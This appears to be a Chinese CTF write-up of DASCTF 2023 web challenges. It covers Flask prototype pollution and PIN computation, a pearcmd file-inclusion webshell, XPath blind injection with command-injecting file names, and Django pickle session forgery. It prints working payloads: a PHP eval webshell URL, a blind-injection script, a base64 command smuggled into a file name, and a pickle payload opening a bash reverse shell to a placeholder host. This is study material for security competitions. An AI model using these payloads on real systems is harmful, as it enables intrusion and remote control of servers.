DASCTF2023&0X401七月暑期挑战赛

文章发布时间:

最后更新时间:

文章总字数:
2.5k

预计阅读时间:
10 分钟

DASCTF 2023 & 0X401七月暑期挑战赛

ezFlask

考察的是 Flask 算 pin 和 python 的原型链污染,参考文章:

https://www.cnblogs.com/Article-kelp/p/17068716.html
python 原型链污染讲的很详细,里面有很多种方法

此题给出了 python 的源码,一看到 merge 函数就要想起原型链污染!

非预期解

非预期解甚至有两种:

污染 __file__直接读环境变量

题目首页给出了源码:

image.png
结合原型链污染可以污染 global 属性的特点,我们可以污染这个__file__达到任意文件读取的效果,后面的预期解也是要这样做。

image.png

分析一下 register 的逻辑可以知道我们需要传入一段 json 数据,里面包含了 username 和 password,后对传入的 data 调用 merge,可以借此进行原型链污染。

1
2
3
4
5
6
7
8
9
{
"username":"aaaa",
"password":"bbbb",
"check":{
"__globals__":{
"__file__":"/proc/1/environ"
}
}
}

和常规的原型链污染不同,这里通过 blacklist 禁用了__init__,所以无法使用。但是其实 python 类中每一个方法都会带有__globals__属性,找另一个方法 check 即可。

另外需要检查 Content-Type: application/json,否则注册失败,返回注册成功访问主页获得 flag。这个 /proc/1/environ 提供了与进程1相关的环境变量信息,而 docker 进程往往就是1,属于环境变量非预期。

pop 提供了另外一种绕过__init__的方法,即传入__init\u005f_,这是因为 check 之后会调用 json.loads 方法处理 json 数据,而 loads 会将数据转换成 unicode 编码,所以可以直接传入混合编码进行绕过。

image.png

修改静态目录

pop 的做法,实际上在上面那篇参考文章中也有提及:

image.png

此时http://domain/static/xxx只能访问到文件系统当前目录下static目录中的xxx文件,并且不存在如目录穿越的漏洞,但是我们可以通过污染_static_url_path 来实现任意目录下文件的读取。

1
2
3
4
5
6
7
8
9
10
11
{
"__init\u005f_":{
"__globals__":{
"app":{
"_static_folder":"/"
}
}
},
"username":1,
"password":1
}

替换为根目录之后就可以通过http://domain/static/xxx来访问根目录下的文件

预期 Flask 算 Pin

PIN码生成六要素,就一个一个找就行了,然后通过脚本直接生成

username:可以在任意文件读取下读取 /etc/password 进行猜测
modname:默认是 flask.app
appname:默认是 Flask
moddir:flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
uuidnode:mac地址的十进制:任意文件读取/sys/class/net/the0/address
machine_id:机器码,有两个值拼接而成。

参考文章(文章里面还有简单的绕过方法):
https://blog.csdn.net/qq_35782055/article/details/129126825

这里就不一个一个读了。算出来 pin 之后访问 /console 然后输入 pin 就可以执行命令了。

ezCMS

是一个熊海 CMS ,漏洞超级多,详见下面这篇文章:

https://blog.csdn.net/Alexz__/article/details/116301518

pearcmd

首先 /admin ,使用弱密码登录到后台,这里我们采用目录穿越文件包含漏洞来得到 flag ,使用了 pearcmd 。

1
/admin/index.php?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/shell.php

具体参考下面这篇文章:
文件包含之pearcmd.php的妙用 | MissPower007博客 (sqlone.top)

注意这个 pearcmd.php 和 pear 命令不是一个东西!!一个是 php 文件,一个是命令,但是都是在 include 中应用,payload 格式稍有不同。 pear 命令具体参考下面这篇文章:

register_argc_argv与include to RCE的巧妙组合 - Longlone’s Blog

MyPicDisk

考察的是 XPath 盲注和文件名拼接,命令执行绕过

打开就一个登录页面,什么都没有,用户名输入 admin’ 看看有没有什么注入产生,发现提供了 /y0u_cant_find_1t.zip 源码,下载下来审计,关于登录的验证逻辑是这样的(没有登录成功的情况下,session 里面没有 user 值):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}

可以显然发现这不是从 SQL 里面获取数据,而是从 XML 文档里面获取,这里需要介绍一种和 SQL 类似的注入:XPath 注入。

XPath 注入

参考文章:
https://www.scip.ch/en/?labs.20180802
https://xz.aliyun.com/t/7791

XPath 是一种查询语言,它描述了如何在 XML 文档中查找特定元素(包括属性、处理指令等)。既然是一种查询语言,XPath 在一些方面与 SQL 相似,不过,XPath 的不同之处在于它可以用来引用 XML 文档的几乎任何部分,而不受访问控制限制。在 SQL 中,一个“用户”(在 XPath/XML 上下文中未定义的术语)的权限被限制在一个特定的数据库,表,列或者行。使用 XPath 注入攻击,攻击者可以修改 XPath 查询语句来执行所选择的操作。

这里没有回显,使用 XPath 盲注脚本(实际上原理和 SQL 盲注一样,只是具体语句有所更改,更改的样式可以参考上面提到的两篇文章的 XPath 语法,利用的是' or 1=1 or ''='这个万能登录来注出管理员的密码)

主要是参考这篇,写的很清楚,一步一步教你写 payload :
https://xz.aliyun.com/t/7791

image.png

写脚本的时候还需要注意的问题是 XPath 里面并没有 ascii 方法,所以没法用二分法加速,而且也没有专门的注释符,要注意闭合,也没有合并查询的功能,可以先 count 一下,然后根据下标一个一个盲注。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import time

url = 'http://3405ecaa-9d9b-44a2-94f6-dbe963627329.node4.buuoj.cn:81/index.php'

strs = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'

result = ''
for i in range(1, 100):
for j in strs:

# 猜测根节点名称
payload_1 = "aaa'or substring(name(/*[1]), {}, 1)='{}' or ''=' ".format(i, j)
# 猜测子节点数量(以后每一个都可以先 count 一下节点数量)
payload_2 = "aaa'or count(name(/accounts/*) = 1 or ''='"
# 猜测子节点名称
payload_3 = "aaa'or substring(name(/accounts/*[1]), {}, 1)='{}' or ''=' ".format(i, j)
# 猜测 user 的节点,第一个节点[1],第二个节点[2]
payload_4 = "aaa'or substring(name(/accounts/user/*[2]), {}, 1)='{}' or ''=' ".format(i, j)
# 猜测用户名和密码,得到 admin 用户的 password
payload_5 = "aaa'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)
payload_6 = "aaa'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i, j)
# 根据 bp 抓包修改 data 格式
data = {
"username": payload_6,
"password": 123,
"submit": "%E7%99%BB%E5%BD%95"
}

r = requests.post(url=url, data=data)
time.sleep(0.1)

if "登录成功" in r.text:
result += j
print(result)
break

print(result)

命令拼接+绕过斜杠

成功以 admin 登录之后,可以看到有一个上传文件的功能点,可以继续审计源码,发现 FILE 类直接将文件名拼接到系统命令里了:

1
2
3
public function __destruct(){
system("ls -all ".$this->filename);
}

于是我们只需要在文件名写命令即可,这里要注意两个问题,第一个,审计源码会发现还限制了文件名必须以 .+jpg/png 结尾,记得加上,第二个,由于 unix 系统中,文件名不能出现斜杠,所以我们可以采用管道符加上 base64 来绕过:

文件名:;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;1.jpg

管道符的作用是将前一个的输出作为后一个的输入,上传后点击访问即可获得 flag 。

ez_py

考察 Django 框架的 session 伪造和 pickle 反序列化。

Django Session

关于 DjangoSession 的知识,这篇文章说得很好:
https://blog.csdn.net/ckk727/article/details/104648177#t1

审计源码可以发现,题目开启了 session,并且采用的是 PickleSerializer,而且告诉了 SECRET_KEY:

image.png

再结合文章里面说的如果泄露了 key 可能导致 pickle 反序列化攻击可知该题就是通过生成 恶意的session,经由 PickleSerializer 反序列化自动调用对象的 __reduce__ 方法完成攻击。

image.png
看下 django 源码,dumps 生成 session 的位置 django/core/signing.py:

image.png

默认采用的 serializer 是 JSONSerializer,我们可以指定一个自定义的 PickleSerializer,或者直接使用 django.core.serializers.base 提供的 PickleSerializer

image.png

贴上生成 session 的脚本,pop 的,我这里可能版本有问题之类的总是报错()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import django.core.signing
import pickle
import subprocess
import base64

SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"

class PickleSerializer:
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
protocol = pickle.HIGHEST_PROTOCOL

def dumps(self, obj):
return pickle.dumps(obj, self.protocol)

def loads(self, data):
return pickle.loads(data)


class payload(object):
def __reduce__(self):
return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/xxxx/7777 <&1"',),-1,None,None,None,None,None,False, True))

out_cookie= django.core.signing.dumps(
payload(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(base64.encode(out_cookie))

复现完了,学到不少东西。